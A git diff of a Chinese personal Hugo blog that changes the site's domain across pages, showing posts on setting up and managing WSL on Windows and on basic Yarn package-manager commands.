Changes</a></div></header><div class=post-content><p>wsl全称Windows Subsystem for Linux</p><p>打开启动或关闭windows功能，选择虚拟机平台，安装完毕功能，重启</p><p>打开Windows Power Shell，输入</p><p>启用 wsl</p><p>dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart</p><p>启用虚拟机功能（请务必确保已经开启了虚拟机平台功能）</p><p>dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart</p><p>下载并且安装Linux内核更新包
+<a href=https://wslstorestorage.blob.core.windows.net/wslblob/wsl_update_x64.msi>https://wslstorestorage.blob.core.windows.net/wslblob/wsl_update_x64.msi</a></p><p>wsl.exe &ndash;install或者wsl -l -v检查是否安装正常</p><p>切换wsl2为默认</p><p>wsl &ndash;set-default-version 2</p><p>Linux子系统切换为wsl</p><p>wsl &ndash;set-version Ubuntu 2 // Ubuntu为子系统名，2为wsl版本，可以输入wsl -l -v查看</p><p>报错 Installing, this may take a few minutes&mldr;</p><p>解决方法：打开启动或关闭windows功能，选择Linux的Windows子系统，就好了</p><p>开启wsl2不需要开启预览版本！！！</p><p>推荐个Visual Studio Code插件</p><p>Remote - WSL</p><p>可以免密登录Linux子系统，操作Linux子系统里面的数据</p><p>重启wsl</p><p>win+r+services.msc</p><p>找到Lxssmanager服务，重新启动</p><hr><p>安装运行Linux系统所需要的功能（默认情况下安装ubuntu）</p><p>wsl &ndash;install</p><p>查看可用的Linux发行版</p><p>wsl &ndash;list &ndash;online</p><p>或者</p><p>wsl -l -o</p><p>安装指定发行版</p><p>wsl &ndash;install -d Ubuntu</p><p>查看本地安装发行版的版本以及状态（Running为正在运行中，为停止运行中）</p><p>wsl -l -v</p><p>停止运行（启动也很简单，重新执行Ubuntu2004，进入系统，就会启动）</p><p>wsl &ndash;shutdown</p><p>修改默认版本</p><p>wsl -s Ubuntu-20.04</p><p>卸载本地安装的发行版（全部数据都将清除）</p><p>wsl &ndash;unregister Ubuntu</p><p>更新wsl内核</p><p>wsl &ndash;update</p><p>回滚到wsl内核上一个版本</p><p>wsl &ndash;update rollback</p><p>wsl发行版会将windows认为是挂载，mnt目录就是windows的目录</p><p>导出本地发行版</p><p>wsl &ndash;export Ubuntu-20.04 d:\ubuntu20.04.tar</p><p>导入（在文件夹中看到vhdx文件，表示导入成功，导入的时候请确保本地没有同名的发行版，如果有需要卸载后导入）</p><p>wsl &ndash;import Ubuntu-20.04 d:\wsl\ubuntu d:\ubuntu20.04.tar</p><p>修改默认登陆用户</p><p>ubuntu2004 config &ndash;default-user root</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/wsl/>wsl</a></li><li><a href=https://chenjunlinabc.github.io/tags/windows/>windows</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/38/><span class=title>« Prev</span><br><span>Yarn包管理工具的简单使用</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/34/><span class=title>Next »</span><br><span>Nginx服务器的一些简单配置</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/38/index.html b/posts/38/index.html
index dc8dadec..dcd94995 100644
--- a/posts/38/index.html
+++ b/posts/38/index.html
@@ -30,8 +30,8 @@
 更新包到指定版本
 yarn upgrade 包名@版本号
 更新包到最新版本
-yarn upgrade &ndash;latest 包名"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/38/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Yarn包管理工具的简单使用"><meta property="og:description" content="Yarn 是一款新的 JavaScript 包管理工具，和npm对比就是速度快，保持一致性，安全
+yarn upgrade &ndash;latest 包名"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/38/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Yarn包管理工具的简单使用"><meta property="og:description" content="Yarn 是一款新的 JavaScript 包管理工具，和npm对比就是速度快，保持一致性，安全
 速度快是因为yarn是并行执行任务，而不是npm那样排队列执行package，而且yarn还可以提供缓存，如果安装过一次package，使用yarn再次安装就会从缓存中获取，而不用再下载一次
 保持一致性：yarn提供了一个lockfile文件来记录要安装的package的版本号，锁定其版本不会出现错误，会生成yarn.lock文件来记录其package的版本号，就连依赖包的版本号都会被记录
 安全：yarn会在每个package被执行时校验其完整性
@@ -63,7 +63,7 @@
 更新包到指定版本
 yarn upgrade 包名@版本号
 更新包到最新版本
-yarn upgrade &ndash;latest 包名"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/38/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T22:55:00+00:00"><meta property="article:modified_time" content="2021-06-16T22:55:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Yarn包管理工具的简单使用"><meta name=twitter:description content="Yarn 是一款新的 JavaScript 包管理工具，和npm对比就是速度快，保持一致性，安全
+yarn upgrade &ndash;latest 包名"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/38/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T22:55:00+00:00"><meta property="article:modified_time" content="2021-06-16T22:55:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Yarn包管理工具的简单使用"><meta name=twitter:description content="Yarn 是一款新的 JavaScript 包管理工具，和npm对比就是速度快，保持一致性，安全
 速度快是因为yarn是并行执行任务，而不是npm那样排队列执行package，而且yarn还可以提供缓存，如果安装过一次package，使用yarn再次安装就会从缓存中获取，而不用再下载一次
 保持一致性：yarn提供了一个lockfile文件来记录要安装的package的版本号，锁定其版本不会出现错误，会生成yarn.lock文件来记录其package的版本号，就连依赖包的版本号都会被记录
 安全：yarn会在每个package被执行时校验其完整性
@@ -95,7 +95,7 @@
 更新包到指定版本
 yarn upgrade 包名@版本号
 更新包到最新版本
-yarn upgrade &ndash;latest 包名"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Yarn包管理工具的简单使用","item":"https://xiaochenabc123.github.io/posts/38/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Yarn包管理工具的简单使用","name":"Yarn包管理工具的简单使用","description":"Yarn 是一款新的 JavaScript 包管理工具，和npm对比就是速度快，保持一致性，安全\n速度快是因为yarn是并行执行任务，而不是npm那样排队列执行package，而且yarn还可以提供缓存，如果安装过一次package，使用yarn再次安装就会从缓存中获取，而不用再下载一次\n保持一致性：yarn提供了一个lockfile文件来记录要安装的package的版本号，锁定其版本不会出现错误，会生成yarn.lock文件来记录其package的版本号，就连依赖包的版本号都会被记录\n安全：yarn会在每个package被执行时校验其完整性\n实质上yarn本身还是从npm中获取的CLI客户端，还是一样可以获取和发布包\nwindows不允许禁止运行脚本解决方法，管理员打开powershell\nset-ExecutionPolicy RemoteSigned\n安装yarn（全局）\nnpm install yarn -g\n查看全部yarn命令\nyarn help\n检查是否安装成功以及查看版本号\nyarn \u0026ndash;version\n同样也是可以选择升级到yarn2\nyarn版本在v1.22之上 yarn set version berry\nyarn版本在v1.22之下 yarn policies set-version berry\n初始化\nyarn init\n安装一个包（安装package.json里的包依赖，并且将依赖树写入到yarn.lock）\nyarn install\n或者\nyarn\n添加一个包到依赖中\nyarn add 包名@版本号\n如果没有写明版本号，默认安装的是最新的，支持一次性填加多个包，多个包用空格分开\n添加一个包到不同的依赖类别中\n开发环境 yarn add 包名 \u0026ndash;dev\n生产环境 yarn add 包名 \u0026ndash;peer\n全局依赖环境 yarn global add 包名\n更新包到指定版本\nyarn upgrade 包名@版本号\n更新包到最新版本\nyarn upgrade \u0026ndash;latest 包名","keywords":["Yarn"],"articleBody":"Yarn 是一款新的 JavaScript 包管理工具，和npm对比就是速度快，保持一致性，安全\n速度快是因为yarn是并行执行任务，而不是npm那样排队列执行package，而且yarn还可以提供缓存，如果安装过一次package，使用yarn再次安装就会从缓存中获取，而不用再下载一次\n保持一致性：yarn提供了一个lockfile文件来记录要安装的package的版本号，锁定其版本不会出现错误，会生成yarn.lock文件来记录其package的版本号，就连依赖包的版本号都会被记录\n安全：yarn会在每个package被执行时校验其完整性\n实质上yarn本身还是从npm中获取的CLI客户端，还是一样可以获取和发布包\nwindows不允许禁止运行脚本解决方法，管理员打开powershell\nset-ExecutionPolicy RemoteSigned\n安装yarn（全局）\nnpm install yarn -g\n查看全部yarn命令\nyarn help\n检查是否安装成功以及查看版本号\nyarn –version\n同样也是可以选择升级到yarn2\nyarn版本在v1.22之上 yarn set version berry\nyarn版本在v1.22之下 yarn policies set-version berry\n初始化\nyarn init\n安装一个包（安装package.json里的包依赖，并且将依赖树写入到yarn.lock）\nyarn install\n或者\nyarn\n添加一个包到依赖中\nyarn add 包名@版本号\n如果没有写明版本号，默认安装的是最新的，支持一次性填加多个包，多个包用空格分开\n添加一个包到不同的依赖类别中\n开发环境 yarn add 包名 –dev\n生产环境 yarn add 包名 –peer\n全局依赖环境 yarn global add 包名\n更新包到指定版本\nyarn upgrade 包名@版本号\n更新包到最新版本\nyarn upgrade –latest 包名\n删除包\nyarn remove 包名\n支持一次性删除多个包\n管理依赖缓存\n缓存目录 yarn cache dir\n已缓存的依赖信息 yran cache list\n强制清除本地缓存的依赖 yarn cache clean\n管理依赖配置信息\n输出yarn和npm路径信息 yarn config list\n切换镜像源 yarn config set registry https://registry.npm.taobao.org -g\n查看某个依赖的具体信息 yarn info vue\n搜索项目的某个依赖信息\nyarn why 包名\nyarn run 自定义命令\n自定义命令在package.json中定义\n因为其会生成一个yarn.lock文件，只要保存这个文件，可以在其根目录下执行yarn就会直接下载yarn.lock文件所记录的包\n更新yarn本体\n最新的发布版本 yarn set version latest\n从master分支获取 yarn set version from sources\n从其他分支获取 yarn set version from sources –branch 1211\n发布包\n先去注册npm账号，https://www.npmjs.com/signup\n第一次发布需要npm adduser一下，需要提供用户名，密码，邮箱，要求源必须是npm官方源\n然后yarn poblish\n启动项目，在项目根目录下执行（反正执行速度比npm快）\nyarn run dev\nyarn.lock和package-lock.json互相转换\n安装synp\nnpm install -g synp\ryarn.lock转换为package-lock.json\nsynp --source-file yarn.lock\rpackage-lock.json转换为yarn.lock\nsynp --source-file package-lock.json\r","wordCount":"158","inLanguage":"en","datePublished":"2021-06-16T22:55:00Z","dateModified":"2021-06-16T22:55:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/38/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>Yarn包管理工具的简单使用</h1><div class=post-meta><span title='2021-06-16 22:55:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/Yarn%e5%8c%85%e7%ae%a1%e7%90%86%e5%b7%a5%e5%85%b7%e7%9a%84%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Yarn 是一款新的 JavaScript 包管理工具，和npm对比就是速度快，保持一致性，安全</p><p>速度快是因为yarn是并行执行任务，而不是npm那样排队列执行package，而且yarn还可以提供缓存，如果安装过一次package，使用yarn再次安装就会从缓存中获取，而不用再下载一次</p><p>保持一致性：yarn提供了一个lockfile文件来记录要安装的package的版本号，锁定其版本不会出现错误，会生成yarn.lock文件来记录其package的版本号，就连依赖包的版本号都会被记录</p><p>安全：yarn会在每个package被执行时校验其完整性</p><p>实质上yarn本身还是从npm中获取的CLI客户端，还是一样可以获取和发布包</p><p>windows不允许禁止运行脚本解决方法，管理员打开powershell</p><p>set-ExecutionPolicy RemoteSigned</p><p>安装yarn（全局）</p><p>npm install yarn -g</p><p>查看全部yarn命令</p><p>yarn help</p><p>检查是否安装成功以及查看版本号</p><p>yarn &ndash;version</p><p>同样也是可以选择升级到yarn2</p><p>yarn版本在v1.22之上
+yarn upgrade &ndash;latest 包名"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Yarn包管理工具的简单使用","item":"https://chenjunlinabc.github.io/posts/38/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Yarn包管理工具的简单使用","name":"Yarn包管理工具的简单使用","description":"Yarn 是一款新的 JavaScript 包管理工具，和npm对比就是速度快，保持一致性，安全\n速度快是因为yarn是并行执行任务，而不是npm那样排队列执行package，而且yarn还可以提供缓存，如果安装过一次package，使用yarn再次安装就会从缓存中获取，而不用再下载一次\n保持一致性：yarn提供了一个lockfile文件来记录要安装的package的版本号，锁定其版本不会出现错误，会生成yarn.lock文件来记录其package的版本号，就连依赖包的版本号都会被记录\n安全：yarn会在每个package被执行时校验其完整性\n实质上yarn本身还是从npm中获取的CLI客户端，还是一样可以获取和发布包\nwindows不允许禁止运行脚本解决方法，管理员打开powershell\nset-ExecutionPolicy RemoteSigned\n安装yarn（全局）\nnpm install yarn -g\n查看全部yarn命令\nyarn help\n检查是否安装成功以及查看版本号\nyarn \u0026ndash;version\n同样也是可以选择升级到yarn2\nyarn版本在v1.22之上 yarn set version berry\nyarn版本在v1.22之下 yarn policies set-version berry\n初始化\nyarn init\n安装一个包（安装package.json里的包依赖，并且将依赖树写入到yarn.lock）\nyarn install\n或者\nyarn\n添加一个包到依赖中\nyarn add 包名@版本号\n如果没有写明版本号，默认安装的是最新的，支持一次性填加多个包，多个包用空格分开\n添加一个包到不同的依赖类别中\n开发环境 yarn add 包名 \u0026ndash;dev\n生产环境 yarn add 包名 \u0026ndash;peer\n全局依赖环境 yarn global add 包名\n更新包到指定版本\nyarn upgrade 包名@版本号\n更新包到最新版本\nyarn upgrade \u0026ndash;latest 包名","keywords":["Yarn"],"articleBody":"Yarn 是一款新的 JavaScript 包管理工具，和npm对比就是速度快，保持一致性，安全\n速度快是因为yarn是并行执行任务，而不是npm那样排队列执行package，而且yarn还可以提供缓存，如果安装过一次package，使用yarn再次安装就会从缓存中获取，而不用再下载一次\n保持一致性：yarn提供了一个lockfile文件来记录要安装的package的版本号，锁定其版本不会出现错误，会生成yarn.lock文件来记录其package的版本号，就连依赖包的版本号都会被记录\n安全：yarn会在每个package被执行时校验其完整性\n实质上yarn本身还是从npm中获取的CLI客户端，还是一样可以获取和发布包\nwindows不允许禁止运行脚本解决方法，管理员打开powershell\nset-ExecutionPolicy RemoteSigned\n安装yarn（全局）\nnpm install yarn -g\n查看全部yarn命令\nyarn help\n检查是否安装成功以及查看版本号\nyarn –version\n同样也是可以选择升级到yarn2\nyarn版本在v1.22之上 yarn set version berry\nyarn版本在v1.22之下 yarn policies set-version berry\n初始化\nyarn init\n安装一个包（安装package.json里的包依赖，并且将依赖树写入到yarn.lock）\nyarn install\n或者\nyarn\n添加一个包到依赖中\nyarn add 包名@版本号\n如果没有写明版本号，默认安装的是最新的，支持一次性填加多个包，多个包用空格分开\n添加一个包到不同的依赖类别中\n开发环境 yarn add 包名 –dev\n生产环境 yarn add 包名 –peer\n全局依赖环境 yarn global add 包名\n更新包到指定版本\nyarn upgrade 包名@版本号\n更新包到最新版本\nyarn upgrade –latest 包名\n删除包\nyarn remove 包名\n支持一次性删除多个包\n管理依赖缓存\n缓存目录 yarn cache dir\n已缓存的依赖信息 yran cache list\n强制清除本地缓存的依赖 yarn cache clean\n管理依赖配置信息\n输出yarn和npm路径信息 yarn config list\n切换镜像源 yarn config set registry https://registry.npm.taobao.org -g\n查看某个依赖的具体信息 yarn info vue\n搜索项目的某个依赖信息\nyarn why 包名\nyarn run 自定义命令\n自定义命令在package.json中定义\n因为其会生成一个yarn.lock文件，只要保存这个文件，可以在其根目录下执行yarn就会直接下载yarn.lock文件所记录的包\n更新yarn本体\n最新的发布版本 yarn set version latest\n从master分支获取 yarn set version from sources\n从其他分支获取 yarn set version from sources –branch 1211\n发布包\n先去注册npm账号，https://www.npmjs.com/signup\n第一次发布需要npm adduser一下，需要提供用户名，密码，邮箱，要求源必须是npm官方源\n然后yarn poblish\n启动项目，在项目根目录下执行（反正执行速度比npm快）\nyarn run dev\nyarn.lock和package-lock.json互相转换\n安装synp\nnpm install -g synp yarn.lock转换为package-lock.json\nsynp --source-file yarn.lock package-lock.json转换为yarn.lock\nsynp --source-file package-lock.json ","wordCount":"158","inLanguage":"en","datePublished":"2021-06-16T22:55:00Z","dateModified":"2021-06-16T22:55:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/38/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>Yarn包管理工具的简单使用</h1><div class=post-meta><span title='2021-06-16 22:55:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/Yarn%e5%8c%85%e7%ae%a1%e7%90%86%e5%b7%a5%e5%85%b7%e7%9a%84%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Yarn 是一款新的 JavaScript 